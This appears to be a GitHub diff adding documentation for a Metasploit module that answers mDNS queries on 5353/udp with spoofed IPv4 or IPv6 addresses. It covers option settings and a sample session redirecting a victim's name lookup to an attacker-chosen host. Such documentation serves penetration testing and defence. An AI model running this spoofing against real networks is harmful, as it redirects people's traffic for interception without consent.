You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex).
2
+
3
+
## Vulnerable Application
4
+
5
+
To use mdns_response, be on a network with devices/applications that can make mDNS multicast requests on 5353/udp for A and AAAA record queries.
6
+
7
+
## Verification Steps
8
+
9
+
1.`use auxiliary/spoof/mdns/mdns_response`
10
+
2.`set INTERFACE network_iface`
11
+
3.`set SPOOFIP4 10.x.x.x`
12
+
4.`run`
13
+
14
+
## Options
15
+
16
+
**The SPOOFIP4 option**
17
+
18
+
IPv4 address with which to spoof A-record queries
19
+
20
+
```
21
+
set SPOOFIP4 [IPv4 address]
22
+
```
23
+
24
+
**The SPOOFIP6 option**
25
+
26
+
IPv6 address with which to spoof AAAA-record queries
27
+
28
+
```
29
+
set SPOOFIP6 [IPv6 address]
30
+
```
31
+
32
+
**The REGEX option**
33
+
34
+
Regex applied to the mDNS to determine if spoofed reply is sent
35
+
36
+
```
37
+
set REGEX [regex]
38
+
```
39
+
40
+
**The TTL option**
41
+
42
+
Time To Live for the spoofed response (in seconds)
43
+
44
+
```
45
+
set TTL [number of seconds]
46
+
```
47
+
48
+
## Scenarios
49
+
50
+
```
51
+
msf > use auxiliary/spoof/mdns/mdns_response
52
+
msf auxiliary(mdns_response) > set SPOOFIP4 10.x.x.y
53
+
SPOOFIP4 => 10.x.x.y
54
+
msf auxiliary(mdns_response) > set INTERFACE en3
55
+
INTERFACE => en3
56
+
msf auxiliary(mdns_response) > run
57
+
[*] Auxiliary module execution completed
58
+
msf auxiliary(mdns_response) >
59
+
[*] mDNS spoofer started. Listening for mDNS requests with REGEX "(?-mix:.*)" ...
60
+
```
61
+
62
+
On Victim Machine
63
+
```
64
+
ping something.local
65
+
```
66
+
(IP address should resolve to spoofed address)
67
+
68
+
69
+
```
70
+
[+] 10.x.x.z mDNS - something.local. matches regex, responding with 10.x.x.y
0 commit comments